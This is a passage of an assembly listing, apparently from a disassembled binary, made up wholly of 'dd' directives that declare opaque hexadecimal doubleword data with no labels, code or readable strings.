		dd 5348288Bh, 8E0F002Bh, 77B727A1h, 10570026h, 9FFA3DBDh
		dd 0AB0759F9h, 2A76647Ah, 58A9C2A0h, 479000C6h,	9B3ED6E3h
		dd 4E01D43Ch, 0F879C87Ch, 91F04F29h, 2C7B90h, 4C4D1396h
		dd 0A0207C80h, 82E77400h, 8733E825h, 45770101h,	1FA926A7h
		dd 8854C449h, 778DD3Bh,	10830734h, 3BE2CD20h, 674800A8h
		dd 0EBEA751Ch, 0B9B0C23Eh, 4918C800h, 23242956h, 0FFE4015Ch
		dd 5778DCAFh, 8955F00Eh, 0D649C51Dh, 0B418E40h,	3C0250h
		dd 0AE920485h, 10E7F81h, 0DBFFC803h, 0A031F987h, 1C8EAD30h
		dd 0B5522CEh, 0FF80E2F7h, 0FC571211h, 0E000A4B8h, 5FF5E1D0h
		dd 380D1EEFh, 0F6C389h,	0D3DDE204h, 3D9AFEDh, 75012F00h
		dd 8C41C02h, 5F5E005Dh
		dd 4AB6D46Ch, 907644Bh,	1073599Ah, 8F913A40h, 0FA290069h
		dd 897F5BA2h, 8C2C0CAAh, 0C2018B0Dh, 0BFAFF57Bh, 0E453E8h
		dd 0A5BEFF6Fh, 0F72D2445h, 93162898h, 7A04661Ch, 94809C17h
		dd 0AB0BC4h, 4D5416F9h,	444BAA47h, 2300367Eh, 53769018h
		dd 0FC3FD50h, 0C7D1F49Fh, 657E0360h, 0C63CE1AAh, 52077960h
		dd 1E02451h, 7442DA30h,	9A43006Ah, 8CC02A58h, 57D394Bh
		dd 8D417700h, 7440C178h, 0D8E0FF90h, 88D30028h,	24E03BD7h
		dd 31002F16h, 872057D2h, 18D0A50Fh, 0EA075E89h,	0CB581AFEh
		dd 0C32805E0h, 5E806491h, 1CD58384h, 80460F0Ch,	17CDCFB6h
		dd 6100201Dh, 7B5A7958h, 4D02F02h, 4412DF5Bh, 403A87AAh
		dd 0E9E46454h, 4B601800h, 290898C2h, 1EDF00D6h,	433BE332h
		dd 1A005663h, 0FFC826Bh, 0EE11ADh, 0D14EF02h, 8492B1E8h
		dd 3EB21A00h, 6B930ADBh, 655400F4h, 0E2506849h,	0C1011218h
		dd 0C4C705E3h, 0E0DE10C5h, 0FBB10FA7h, 0E0E240D6h, 0B6B907F2h
		dd 0B099BC39h, 51800DBAh, 807E42BFh, 0EA09D1DDh, 5AF800E2h
		dd 0E04BF258h, 0ED2694BBh, 0B9002386h, 0ABDDC91Ch, 0C6F700C0h
		dd 923F78B8h, 0F83C7D4Dh, 4C098052h, 276E2DC8h,	0B1B7A33Dh
		dd 0DE88494h, 92E95CFFh, 18892800h, 401A9638h, 9D0EAD00h
		dd 7B2C0272h, 0C1800033h, 0EA0305E5h, 0FD00243Bh, 0D8078973h
		dd 816BEBh, 216772EFh, 74FA4716h, 7E91052Ch, 0B9442B00h
		dd 583F6D1h, 3F8623C2h,	4BA4C03Eh, 1624484Fh, 73F0001h
		dd 0D3172176h, 0B0C1CCC7h, 4D70CB36h, 8C0D4C8Eh, 0F3203E00h
		dd 0ACD83D5Dh, 1C741E00h, 543C8C28h, 0D77E00BEh, 83440F63h
		dd 2F031416h, 0B60508Eh, 652D9DDh, 4ACDC0F3h, 4C39006Ah
		dd 0E902C47Dh, 8D0066E5h, 57C094F0h, 14D2F8h, 1DF17E83h
		dd 7B990D75h, 8A0007E6h, 0BAFDE964h, 0D58B89h, 17B1940Ah
		dd 144C52D0h, 1EDB4200h, 0D75770EBh, 0B8551C08h, 0B9744065h
		dd 0A9CA69C2h, 1A1C0BEAh, 0B580E1E8h, 0C93D172Ch, 26C2009Dh
		dd 0B91395D3h, 140034E2h, 68504FFh, 3C15B802h, 1B17AFD9h
		dd 5E030022h, 0A86B742h, 3994633Ch, 885CF85Fh, 18B600C6h
		dd 8A5C4E53h, 19FC012Ch, 0E2173AA3h, 5520C4F6h,	0EF2EC717h
		dd 7E120007h, 0C30B804Fh, 766B078Fh, 87FED3h, 0C765F7E4h
		dd 111C7C3Ah, 0BBDA370Eh, 920F0089h, 0E3E2C3h, 374F885h
		dd 5F978229h, 0D07C5500h, 11444CCAh, 0E7B7A031h, 0A9BE0084h
		dd 57D38E34h, 39008FE0h, 0E74C81Eh, 21642B2h, 263EFB67h
		dd 0DDDD3Fh, 8D8A455h, 0C098D2h, 0BF81E262h, 32F3F706h
		dd 8084EB3Ch, 51CCCBF2h, 8C4791h, 580C59D3h, 72262106h
		dd 0E7BD8B00h, 537C46AEh, 52F90741h, 80450130h,	89C1CD32h
		dd 6D0DB907h, 0B5D071C8h, 13D6B38Ch, 0A04840h, 0A4CE47FAh
		dd 0C90015D2h, 60032A6Bh, 7F350C5Fh, 4DF70031h,	0CE241118h
		dd 0D8EF510Dh, 720F09FAh, 60C36AF6h, 82960A9h, 6E500019h
		dd 0AAD30604h, 0AC07A033h, 2DBFCD5Bh, 7F30D581h, 85F8E4h
		dd 0D1C1276h, 0C62B4805h, 833BE003h, 80827C25h,	7E4E934h
		dd 85351184h, 1A5A2031h, 0EA005D2Fh, 1BAC68FBh,	12342DB9h
		dd 30F97A4h, 18F946Ch, 4DA826EBh, 0AFAD081h, 7344F800h
		dd 0AF138D63h, 80E80006h, 105CA17Dh, 0BA018974h, 0EB273B16h
		dd 0E3402329h, 7D76D1F8h, 0AA7820h, 0BFEC4C1Ch,	2B98F928h
		dd 0FCE9C7E2h, 0C93E3326h, 5B8600EFh, 9C1CFF47h, 0D91400A8h
		dd 97F0A424h, 36000427h, 3B58D1F3h, 751380h, 0C2F5BA0Eh
		dd 0EB85B329h, 640C3Dh,	4EA79DA5h, 0E723A40Fh, 0EF4FAF4h
		dd 609856E8h, 0FFBA6780h, 665030AAh, 2507C9B7h,	0DB260E55h
		dd 0C7122830h, 46AA00DDh, 0E914449Ch, 3307941Eh, 75154CD4h
		dd 0C2560B90h, 89370F10h, 80FE1F52h, 825A5B88h,	4F0038A3h
		dd 229D5743h, 79248B8h,	0B05146CDh, 0FF8500E5h,	3B01EB77h
		dd 912776F7h, 84C8050Fh, 9A220060h, 0B324EE03h,	3A00A5D8h
		dd 0DD47A996h, 541792h,	1E0A3571h, 7B9F24FBh, 144F200h
		dd 843DE0D3h, 728000E7h, 98B8BBE2h, 347C7618h, 0FCE3E800h
		dd 0A954B701h, 5542004Ch, 8A8DF450h, 0C34BAFCAh, 433C28ECh
		dd 2BC95783h, 76F85CC2h, 0B4002798h, 42D60ABDh,	0BAA5BFh
		dd 4A0D4609h, 0F2651510h, 80BE9339h, 0D11FDA13h, 0D02999h
		dd 1949826Ah, 86A44AEBh, 3B9FEE01h, 0FC591DFh, 0EC5495E0h
		dd 9AF70522h, 1C35A23h,	664246C1h, 3910E82Eh, 0D07D8300h
		dd 72A46882h, 70554C7Eh, 5AB70078h, 3C8D79E2h, 4B0056F2h
		dd 449F0B3Eh, 3F287A81h, 1380A54Eh, 9333EB80h, 3500EA84h
		dd 6C0345FCh, 0F8CE349Fh, 4FEED2h, 7F0A6E51h, 0A04936BBh
		dd 2BE8A57Eh, 9EAED100h, 0BC4812B0h, 9B5045Eh, 0C011C0A3h
		dd 0C80542FBh, 8DD81000h, 0AE014630h, 7E87000Fh, 0A948F3C9h
		dd 8E003EABh, 0E891F0A2h, 0EEA4D7h, 1175400Ah, 0DC3545C7h
		dd 103FF00h, 53E9E039h,	7F270092h, 83097048h, 120402EAh
		dd 0CC629181h, 0A54A3A80h, 0D0F413h, 20953F6Dh,	0BBB567D4h
		dd 0E869E10Eh, 0A75547CCh, 0AC1690B0h, 6FBC1F3Fh, 1DCB03D2h
		dd 0AD850EBh, 8E00571Bh, 680E9218h, 7704B8h, 3BB406E4h
		dd 0A4DCF098h, 7520081Ch, 0D0B040C0h, 39CC7729h, 941F9110h
		dd 0FCAC9D18h, 24B412FBh, 901307DCh, 492E2148h,	22E5D8C1h
		dd 92D01800h, 915761FBh, 3B740901h, 8075F423h, 0DFE1527Fh
		dd 8E9822h, 6C830D5Ah, 65962633h, 0BC29E507h, 7E898F67h
		dd 2C3500EEh, 0DC8E4C97h, 4F23A100h, 0B0EC0560h, 864E00CCh
		dd 0FF8F8CC5h, 700075B1h, 0F5486167h, 4C657E17h, 2200EA3Fh
		dd 2BEB2E54h, 113F7103h, 0F38F71Fh, 8F63037Dh, 0E02D1221h
		dd 62038Ah, 94DB2281h, 74714502h, 0E8EF8E00h, 44C6D3C1h
		dd 0F4B91E12h, 5E00040h, 771CDB3Bh, 0C625D00h, 5FAE39F5h
		dd 0BA561F38h, 1321C053h, 0B7D516CBh, 7900ECF4h, 0F8BF141Dh
		dd 74732722h, 628E3E5Eh, 657A6300h, 0D4FCCC72h,	4C3C7B00h
		dd 0E4673D61h, 0B82E0033h, 8B51828Ch, 0C50779F1h, 9889D70Bh
		dd 782404A0h, 0DF97126Ah, 0A4230029h, 0A6952BF7h, 804AE73Ch
		dd 88677D5Ah, 285E2Dh, 0C1BB5D93h, 768A1F95h, 0F833B800h
		dd 98AC4D6Dh, 432B0073h, 3B36558Eh, 251EA0A7h, 118480C0h
		dd 82C52E02h, 6088B9C2h, 4F4CA0h, 4032EACCh, 0C27E5DD0h
		dd 647F7201h, 0DAA84285h, 0FC820h, 7036E04Bh, 405F9E10h
		dd 0D1D01400h, 550B4C77h, 283B0232h, 6B70FD74h,	83B23FC1h
		dd 0ED76962h, 1B4CD879h, 9D00025h, 0A83DFB17h, 3F13AE8Bh
		dd 700206CBh, 0E3117DC6h, 760B0D1h, 70A482Ah, 0C72E4003h
		dd 0EBC032F4h, 5F000552h, 0A42D9792h, 77729Fh, 360372Bh
		dd 0C0C4DF0Fh, 2F420800h, 0E0CA36EBh, 64720066h, 22031334h
		dd 474242Bh, 0E105D1EBh, 0F106E119h, 2707F010h,	8915800h
		dd 4914D24Dh, 133F07BEh, 0ECE6D3h, 18F5D02Fh, 0A4BC7000h
		dd 66D74142h, 0B0060771h, 0B0039085h, 7FEFA9E1h, 8C6A2C01h
		dd 95891DD0h, 0C435D0h,	0E1417EFCh, 0F43CD5B4h,	0C2CC7500h
		dd 9608E8ACh, 0D11D009Bh, 0E13A5F44h, 0B004856h, 919A14A9h
		dd 7870A50h, 0FCA5DAB1h, 47D8104Ah, 6200FF98h, 0CD19E437h
		dd 0F83ACE75h, 4EA40036h, 292A9669h, 1200ACECh,	7C11E958h
		dd 7E0B1Eh, 0D375F64Ch,	340F73B0h, 3DC68C04h, 0E8C085EAh
		dd 48198A83h, 0DB01B2F8h
		dd 0BD4F4B28h, 64ECF4DAh, 0E40E8012h, 3D0388F0h, 238E6D19h
		dd 75E53B2Ch, 140080E2h, 0E4B0BC8Eh, 0C3E5A500h, 11089757h
		dd 9DA44894h, 0D3C61F0Eh, 368F5406h, 0B0335B00h, 0A47EC72h
		dd 0F7EE00D1h, 740B7EC6h, 8E07A9F5h, 0AC2A5F09h, 29F039C1h
		dd 1D3615F8h, 408AFFC7h, 5AEB7F8Dh, 1400EA48h, 931BB052h
		dd 0C60AAFh, 0A6732B11h, 0EF7F2822h, 0D114BC18h, 122EFFB6h
		dd 0AA1349E4h, 0B603DF00h, 14CDE53Fh, 928A1877h, 0D1701B04h
		dd 3ECDC10Eh, 0A24ED49Bh, 0E9E4E300h, 57E58F98h, 0F1760029h
		dd 0A1E8588Eh, 0E5B85E75h, 54B89F02h, 7C82A825h, 7300076h
		dd 5DAFF792h, 2024B200h, 97E7C25Ch, 5DF0045h, 0A919C7Bh
		dd 0BB00EFB4h, 0AF17FA64h, 2CD21Ah, 0F3453A6Eh,	82EEA33h
		dd 7E527B00h, 72A6C59Bh, 2A480067h, 2399D231h, 0A8006EEAh
		dd 0C80FE19Ch, 9FCE26Bh, 0BDF2EF92h, 200E01DDh,	3E025B5h
		dd 42E01CEBh, 50B94016h, 98FD8BA9h, 3E24403Fh, 0D4518FBDh
		dd 0B00800CBh, 2FD82A04h, 115E1D16h, 0A7840300h, 0E447BCh
		dd 26D254F4h, 280F558Ah, 0C77E8600h, 0ABC9CE5Bh, 2D7A006Ch
		dd 402F126Eh, 18007C13h, 0C575F09Dh, 7B04419h, 980B0CBEh
		dd 897BF361h, 2200B293h, 84EB5363h, 262D3B6Fh, 0A13E09h
		dd 46425489h, 0CB004A94h, 240CF818h, 8572Eh, 623BC7F9h
		dd 1A9ADD77h, 14AD9100h, 32894DF1h, 0D91F00E1h,	21134302h
		dd 0B5EEA34Ch, 0FBF71601h, 3022D88Bh, 36142C0h,	35326573h
		dd 6F805436h, 4904504Dh, 203A746Eh, 67ECA280h, 9F6800EEh
		dd 0E753ABA7h, 78ECEF72h, 873E6300h, 4DF37364h,	0ECCD0761h
		dd 0F053390Dh, 2D8CD97Ah, 0A430EE00h, 7CAF9DC4h, 0ECD7008Ah
		dd 0F98906C3h, 68000383h, 16D29E31h, 7E4250E1h,	610B000Ch
		dd 6C631DE9h, 0E767F7Dh, 0CA2B0900h, 0FA3A3E9Eh, 9D6D0070h
		dd 4243D7ACh, 75004802h, 5FF92FE8h, 5C5B7Dh, 5183AFB5h
		dd 0B9C7C2EEh, 7E938h, 5BC4D4F3h, 3DF69273h, 858331D3h
		dd 7F835D9Fh, 5774C2B0h, 0C0EB6600h, 0C84EF03Ah, 441200A8h
		dd 0A03D64B7h, 31008DB8h, 0C4481D54h, 73FEE6B9h, 4B4E005Ch
		dd 7CDB8518h, 7D00F608h, 8F10D86Eh, 98FBE123h, 8A1E0E8Ah
		dd 35407C1Ah, 92984B79h, 2B6CD500h, 5F569FC3h, 0B8F4005Ah
		dd 1CAA99C2h, 7507FC44h, 22840A4Fh, 0D3FEF990h,	0A0663B71h
		dd 1F7C7A93h, 731680B6h, 0ABA5A11Dh, 0D927002h,	0C00F1869h
		dd 91043Bh, 823B0641h, 44A351E8h, 4800B6ECh, 8B53C812h
		dd 0BA49F5h, 720CF906h,	18030A05h, 0C6097612h, 0E980C600h
		dd 0ECA99E78h, 0F93550C1h, 73810016h, 4724F17Dh, 0D003276h
		dd 5F2D188Bh, 2878ACh, 11EB30C8h, 0BBC0031Bh, 0A36EE700h
		dd 32F32DC7h, 78F7ABAh,	0AE761090h, 221A9088h, 85008149h
		dd 898D0C55h, 53E830h, 105E6493h, 84E03862h, 39592801h
		dd 986B87Ah, 0DBE8E4h, 0DC50CF6Ch, 0A8853C1Eh, 1133Eh
		dd 68575BB1h, 1E3EAC1Ch, 0C0C0DAE2h, 14BB9D40h,	521F4894h
		dd 694ED65Fh, 2CCCC057h, 72803Ch, 67097045h, 0FF4A10D0h
		dd 0CB96AB13h, 2C527C03h, 49DEF0ECh, 12AA01F6h,	883E1318h
		dd 656CFCD5h, 0DC9E2600h, 544DB955h, 5E8E01A6h,	5BDF0636h
		dd 4AEBC8B7h, 23E41D18h, 77B9FDE0h, 59E33DB8h, 0CA8FA880h
		dd 8767C7A0h, 87428C3Eh, 3C6C1F21h, 0A07CB553h,	1A64997h
		dd 61566B02h, 0CC059437h, 1A00E814h, 0B3EA4712h, 710294Dh
		dd 44028AD8h, 2C245259h, 6203A780h, 80ED421h, 0A071ADE5h
		dd 5055360Ah, 0CB5F0999h, 0A280D867h, 0C83E406Eh, 9791AD00h
		dd 1034D4C7h, 83430090h, 0EE27E99Eh, 0AE1654E7h, 8000B3A8h
		dd 1102E1C2h, 0ED350F71h, 6A203B09h, 0F0849399h, 9D7D3Ch
		dd 0FD02E025h, 0B821E6h, 5C0948B4h, 0ABF994A9h,	99005479h
		dd 27503183h, 1C3060h, 0BB9EE4C3h, 0E7A40548h, 0EDCFF201h
		dd 0E2627D45h, 0D424D4h, 2B323439h, 3D504B98h, 28731E00h
		dd 9F07BA0Fh, 429A008Dh, 0C9241B36h, 0D13A85Eh,	8B00835Bh
		dd 0A931940Fh, 0C48F0322h, 0AC9BADB2h, 30ABCFABh, 87EB0FE0h
		dd 901D2B00h, 47D4C9ECh, 42E0F9C7h, 11AE0009h, 26880FD8h
		dd 3E00E464h, 0DC904321h, 0EC8660F8h, 7DE200E0h, 281BEC19h
		dd 4F3FEB8Ah, 0B4C0805Bh, 5CADD6C8h, 0E12002AEh, 8E2A5704h
		dd 0A0F71963h, 5B3EA5A9h, 0C91D89EEh, 78A65F51h, 4ACAF902h
		dd 506F6108h, 62D020h, 8BDB90F7h, 0F4024CDFh, 0D1B7FF00h
		dd 0FE836004h, 597C0001h, 0A64DC76Eh, 54008A09h, 0D8D95D32h
		dd 3B8D1EB3h, 0B780F0FBh, 830B475Fh, 4A03D0BAh,	57D4FF8Fh
		dd 6C3BB9FAh, 1FC0F8F1h, 8B38007Fh, 0E0D366CBh,	0F7000BE6h
		dd 5A70C3F5h, 813FBh, 1241287Ch, 0E28276D0h, 553F4C00h
		dd 0EC3BDDFAh, 9FEF9h, 0CBFF606Fh, 0C1C7B70Fh, 56CF200h
		dd 0EB83FA2Ah, 6EA02E08h, 80921F98h, 7B662250h,	1D00620Bh
		dd 0D78B1521h, 0E365D80h, 29E61AACh, 80B34AA4h,	0BC65F769h
		dd 5D835A00h, 0DE0FFE57h, 361700E1h, 7BB74323h,	31F4AD32h
		dd 9C774B0Ch, 14141430h, 0EB202D84h, 197C7100h,	8100EB0h
		dd 77F1573Eh, 0EC0C298h, 2707AA24h, 0D40300EAh,	0F533B5E0h
		dd 0C200F442h, 34C497C3h, 788017h, 3BE4E50Eh, 388CEBA5h
		dd 120CC20Fh, 90801C0Fh, 4C102320h, 27E8386Ah, 0CFE4A080h
		dd 64743EF9h, 0C1A5A400h, 0F633FB12h, 8BD300C9h, 0E9257EB4h
		dd 201C5B04h, 22011B90h, 0B027419h, 0D27370h, 21D04806h
		dd 1C7E3980h, 100E298h,	43FF3770h, 4AC7FCh, 0D7AFDB7Fh
		dd 5808EAEh, 0F718E800h, 5CA2FA58h, 0BFFD1F73h,	9A5E0006h
		dd 98AFF28Dh, 42750D0Fh, 844020B2h, 2D4E10h, 8A85E525h
		dd 0FC9EBBE8h, 0D74C276h, 55E95000h, 0C79FA254h, 37E80029h
		dd 0C44234A6h, 0AFB8D801h, 0DE2B2D00h, 0CE24A577h, 0F3F6BBh
		dd 0F99286F0h, 0F5EEC912h, 0ECBC0B01h, 4B3546DDh, 39F2FCh
		dd 50C60305h, 0FB979453h, 0FE9DC100h, 4728EBFFh, 0D7EA0749h
		dd 703CC012h, 0C7F85923h, 0AF9A6200h, 0E1DD84D8h, 9C80081h
		dd 0E6EEA445h, 0EC002110h, 7712D0BCh, 0FFD13D2h, 0F7582DB8h
		dd 1B9A7A20h, 0FC07E4D5h, 5501FB09h, 770699F0h,	599F0050h
		dd 0FAD4788h, 1C5C0719h, 66010FEEh, 80026089h, 789B237Fh
		dd 5B120076h, 0B5875A1Ch, 6D00C767h, 0F3C957Bh,	0E09C24h
		dd 46D82042h, 78B7EB06h, 28D9543Fh, 2200B538h, 5FCB0AC8h
		dd 5A5296h, 9248FC0Ch, 0DABB6A16h, 7C24EB0Eh, 412B6074h
		dd 1A623h, 0E9E8BD6Fh, 4832BF2Fh, 0E5D7D900h, 0B1C4242Ah
		dd 0BA7D46h, 9278BD6Eh,	0B312C021h, 0F62C3Fh, 822B8AF4h
		dd 1760EFCh, 900B29DAh,	7010E20Fh, 8D5C1149h, 0C92301F1h
		dd 8C7F255Ah, 2716C0h, 0A32B1087h, 0C43EF5B3h, 0E89653Ch
		dd 0A021F4FBh, 0D3AD0252h, 4CD800EAh, 0A35F97ECh, 24030495h
		dd 0CA6A783Ah, 0C89F0EFh, 35E800EAh, 4F9E2AE3h,	0CD00FEC6h
		dd 0E27E1C74h, 0BD8377h, 120A7530h, 2356106Ah, 589FD601h
		dd 7C71B59h, 0D265A0EBh, 0A31400B8h, 0B3C1C434h, 0A8E60C38h
		dd 0DAC8423Bh, 0CC02E9BCh, 5A0E31D8h, 8D748440h, 0B399D750h
		dd 52601903h, 0B3A57B26h, 0F117B8FBh, 0E88400F4h, 8D81860Bh
		dd 18007FC3h, 5C47F814h, 163E83h, 17C22E77h, 3019D8CFh
		dd 6B510700h, 0A038AFBh, 24460088h, 25100643h, 8F3926CFh
		dd 8089398Bh, 4F68127h
		dd 7BDD2Bh, 5A181E44h, 0A284EDABh, 5698F400h, 256FE917h
		dd 0DD8A00D2h, 392B1533h, 6002C2Ah, 666E2D7Ch, 3827980h
		dd 99C3042Eh, 74F0F77Eh, 7D00AE56h, 0DBFF8138h,	874C91h
		dd 8DAB505Dh, 85AF3046h, 80860D3Ah, 0EE3D492Dh,	7A84AD6h
		dd 14BE5140h, 0B827E090h, 3576841Ah, 6C0D330Eh,	2428046h
		dd 0E77134CFh, 0CFC30ECh, 3608E1D4h, 0A4E8B31Ah, 21095400h
		dd 26384437h, 0EEEF0096h, 0C489901Fh, 2B3A0339h, 91040014h
		dd 35DC3AB3h, 0D2160008h, 2A692F49h, 0BF0114D3h, 336B2142h
		dd 0FF06C88h, 5C7200B9h, 3CDF47A6h, 8E748D46h, 57972B0Bh
		dd 74660019h, 9A88BBh, 7B54C889h, 1422BA8Bh, 0AF903800h
		dd 8C4E1B5h, 25B30023h,	0C95BD18Ah, 6000C89Ah, 0BE01B2C2h
		dd 73B0679h, 0CED93989h, 11B8800Fh, 0FE00D82Bh,	0BFC2F81Eh
		dd 378545Ch, 4143B645h,	4CBB5788h, 0A2BB42BBh, 0F8A410B9h
		dd 58004F9Dh, 8B3B406Dh, 388CB790h, 5E000E51h, 1179146Ch
		dd 4A160FD6h, 3800E93Ch, 90D7B155h, 98AD39ABh, 4600743Bh
		dd 8050450h, 0B5007595h, 0AC532F71h, 7C6B524Dh,	6EDA00A3h
		dd 0ADE03777h, 43004476h, 50670375h, 7AAB4218h,	575100D6h
		dd 0D15C253Bh, 7B0083B2h, 2FA0096Eh, 0A70291h, 24B0FA15h
		dd 937DCD4Eh, 0F30B503h, 0A038DF89h, 0EB0453h, 1F66F5C7h
		dd 55E36A9Fh, 33007DF4h, 0FF634B49h, 0FE1A73h, 153B1710h
		dd 74D7C130h, 0D33E1200h, 9F4B0546h, 58F200A0h,	8148E92h
		dd 1A00CB03h, 34AF758Ah, 7AB9BA2Ah, 56680E94h, 14E08912h
		dd 428D6C23h, 52017EF0h, 222DC904h, 24F855D4h, 48DA2C10h
		dd 19310011h, 0D04204B6h, 2740FA00h, 0B0F6F175h, 0B8110078h
		dd 58100987h, 213CCC1Eh, 8959BB18h, 8EC22808h, 0D754A008h
		dd 6A1BE1h, 96492711h, 67EA0440h, 770BB400h, 8A8C8C5h
		dd 5C090E44h, 73F36Bh, 593CA69Eh, 70014B81h, 88441423h
		dd 0A120212Bh, 0FEC98h,	72614D50h, 0F867786Eh, 0EF13C8FEh
		dd 85009A02h, 8B9277BAh, 8D8009Ch, 1EA83E9h, 1A0E1851h
		dd 0A059F021h, 0FC8C3F0Dh, 404D1C6Ah, 508F4010h, 0A9FD9573h
		dd 2CD3F8A0h, 6479AF0Fh, 80250BA6h, 0B120B4B4h,	0C74800A1h
		dd 0EC88785Ah, 3007FD0h, 1273C58h, 1740F6h, 59217420h
		dd 6A1CF516h, 0B1DC2F6h, 54870775h, 0AF902D26h,	49659Fh
		dd 328A3161h, 0BF12690Eh, 4760AA00h, 0D514465Eh, 188003Ah
		dd 6B31716Dh, 0B000C330h, 90C0F4B7h, 62135h, 1CFC3C67h
		dd 0A4338C0Dh, 31388000h, 300FF964h, 604B00C2h,	6F57E1D5h
		dd 10091248h, 80836632h, 221704DEh, 0A6770008h,	978A545Dh
		dd 450003C0h, 0B5A9F4E8h, 498285h, 1F12170Ah, 39621064h
		dd 2A421C07h, 22901E20h, 383D2Fh, 4117CB13h, 150B3F25h
		dd 710C458h, 0A250A8F7h, 9FA49820h, 0BAECE1E7h,	581C28E1h
		dd 0FFBEDC8h, 0DC2E840Ch, 0BE7338A4h, 0FEE6CA0h, 952C29CBh
		dd 0BBA0E260h, 6F037D2Bh, 0B711806Ch, 7654F94Eh, 2D23EC0h
		dd 0DE267A47h, 2C60C549h, 8500E27Dh, 0EC0A40C6h, 108D98h
		dd 9C172112h, 8C2A0908h, 0D0EF9D0Eh, 0F8C0FEA6h, 0C7E5C8BBh
		dd 6EFB00EEh, 47C59EAAh, 0B8EEE41Ch, 0B1315400h, 0C30CF889h
		dd 9A90037Dh, 0E83C1F48h, 4FF72C98h, 2077A500h,	0E75BF693h
		dd 511116CAh, 285B0024h, 64F05FE9h, 0EB0757FAh,	0AC5C367Ah
		dd 0A0CBA190h, 3CE200D7h, 10A2A3AEh, 2000C1E1h,	446FFB0Ch
		dd 0EE248AB7h, 0B280F59h, 0CF1FD95Ch, 8B6F1005h, 0C0155540h
		dd 911F572Fh, 0FA40FB9Ch, 0F1F065E0h, 0E84EC09h, 49A85506h
		dd 29BD8BA0h, 9409216Eh, 0A157958Dh, 28171114h,	3AD46160h
		dd 0E8003526h, 55236413h, 0A900D10Bh, 6EAFA0B9h, 35E327Dh
		dd 66158CF3h, 0A6D8D349h, 40021CAh, 0BD2BDACBh,	76ED9BD1h
		dd 16AA00D2h, 7BAEF388h, 0D0FD7EE0h, 680008D6h,	858D06ADh
		dd 70C7F4h, 65044BBAh, 501021DFh, 3D16800h, 0EE5F2396h
		dd 0F43E008Ch, 51BD86ACh, 1100323Ch, 0BB8E99BAh, 5BAD1B16h
		dd 0B44B47Eh, 0B8684000h, 57B275BDh, 9AC80165h,	24AB256Dh
		dd 2B5FDC7Dh, 87816338h, 0C5B7F4F8h, 210A74D0h,	6CF4EB56h
		dd 0D7A200F1h, 159236B9h, 0EC00B808h, 547EFCADh, 3D1CF8h
		dd 0ACCA5F93h, 7361B0D0h, 7207701Eh, 79656B80h,	1D692E71h
		dd 0F0F5CA6Eh, 38353122h, 9C00B2F2h, 0E43CEC5Fh, 0DAA9AAh
		dd 0A8C70629h, 6A434CBEh, 0F7E09A03h, 0D031B948h, 0D02D85h
		dd 0BA832657h, 79E4AACh, 1CEB2E00h, 6AEE4BE7h, 20E0789h
		dd 5075F23Bh, 0E3BD59F5h, 73402500h, 5B924255h,	4BB700BCh
		dd 0D5D4F40Bh, 0B2EED86Dh, 0B061D01Eh, 0AF865440h, 1DE08EE8h
		dd 4F41BFBDh, 58E2029Dh, 0F18022B6h, 5717E612h,	5F1DA000h
		dd 37A1D54Fh, 55F60161h, 0E61F3FECh, 12453054h,	9D58403Fh
		dd 8E40FE0Ch, 34A3A737h, 2C2800B8h, 0ED6195EAh,	16F86ED0h
		dd 0D4202D0Fh, 8C0F40CBh, 326FBEh, 0F406E43Eh, 0B985BF15h
		dd 2035F00Fh, 0EF10A0F8h, 7D6C5047h, 4EA5006Ah,	53B13CFh
		dd 7DF88134h, 10580D03h, 930FA1A3h, 54B0EF42h, 0F13ECC5h
		dd 61A9BCD4h, 0BF475CC0h, 2764830h, 805E043Dh, 54106AABh
		dd 3EED13h, 5EFC70Ah, 6FC60607h, 200058F0h, 72B23583h
		dd 92A0F48h, 4733D8A4h,	0F3647900h, 0DE074D9Ah,	25453A42h
		dd 8400DE0Fh, 0EC22BFA7h, 4E8200DCh, 0C8F5A3D3h, 0C47D58EAh
		dd 0F300FFF4h, 888AC671h, 7A9CBEh, 0C5EFF7D4h, 3B726BAh
		dd 7E800D00h, 0E420AA2Ch, 21440043h, 7907B88Ah,	22001B89h
		dd 101D04EBh, 719B3Ah, 145BDD0Eh, 0A9288F7h, 36665C00h
		dd 9572E2Fh, 1D5A077Dh,	0E011DAEDh, 52672CBEh, 2F392076h
		dd 3901003Bh, 50431778h, 261F1F75h, 56AE47h, 6D6F95E2h
		dd 0A205DD90h, 13C158BCh, 6B788E80h, 24A00092h,	0CC06D8DBh
		dd 5A039B0Ch, 43294FEBh, 0C0BAD419h, 8A011DB1h,	3E4EE200h
		dd 0A11E8488h, 0C8463898h, 48FD8901h, 706E4009h, 0B00753Eh
		dd 8B18A3Dh, 755A1F3Eh,	0BE920928h, 5E00F095h, 7B01241Ch
		dd 563A0E73h, 0F91D8066h, 0B809BA18h, 74E00D3h,	0E40D96ABh
		dd 2004327h, 0DB61C4FAh, 3C1DE09h, 0DF5285DCh, 10A89EE0h
		dd 2200272Eh, 0D20C4504h, 1724E14h, 5B063FA4h, 7E1EBAB0h
		dd 0BC1AAEC0h, 0FA20007Ah, 0A1B91DBh, 0FB181275h, 505A2AEFh
		dd 268B3031h, 2AD0778h,	0AFCBC700h, 9D968D01h, 0A0F8C034h
		dd 4807E812h, 8504D20Eh, 2F3360CDh, 25CCCEh, 5E8CA4EBh
		dd 759832B7h, 0EA00E6F2h, 0B1C99F93h, 48401Dh, 0A1281BF2h
		dd 0BFE04B64h, 0CD0E5A02h, 60DAC778h, 5019EF6Fh, 58CF41h
		dd 4986D245h, 431FBE29h, 0BC8A0D00h, 0A4BF1806h, 27EA1Ah
		dd 0E114D305h, 0CD8630DAh, 32DF9500h, 5CE9FFAAh, 83F2B1h
		dd 3F4F0EE4h, 0C1A5BF75h, 0AFA44500h, 0D8519F52h, 0DADF00F9h
		dd 6619D504h, 0F8000CDBh, 0E8054D91h, 0E2B8428Bh, 5A590386h
		dd 51109656h, 0E4EB1590h, 66BDFA0Eh, 0ADB9E729h, 970D5E60h
		dd 0B71407A4h, 0D08B0510h, 49AEB3D4h, 712F981Fh, 0C2FA88C0h
		dd 3E2253h, 18BA2611h, 8B8507Ah, 36C36100h, 0B2218589h
		dd 3B59EC2Bh, 6282952Fh, 11FC5C18h, 0BD8053E0h,	0FE416100h
		dd 2A9EA035h, 1DF8F162h, 0D52B1E4Ch, 5F2C070Ah,	1319A0FDh
		dd 6003EB8Ah, 95544575h, 0C6A1A743h, 87CCA7E8h,	627D007Eh
		dd 0DD105084h, 63076185h
		dd 3CC06B15h, 4FE18E60h, 8138002Fh, 5AC34501h, 0B0016B7h
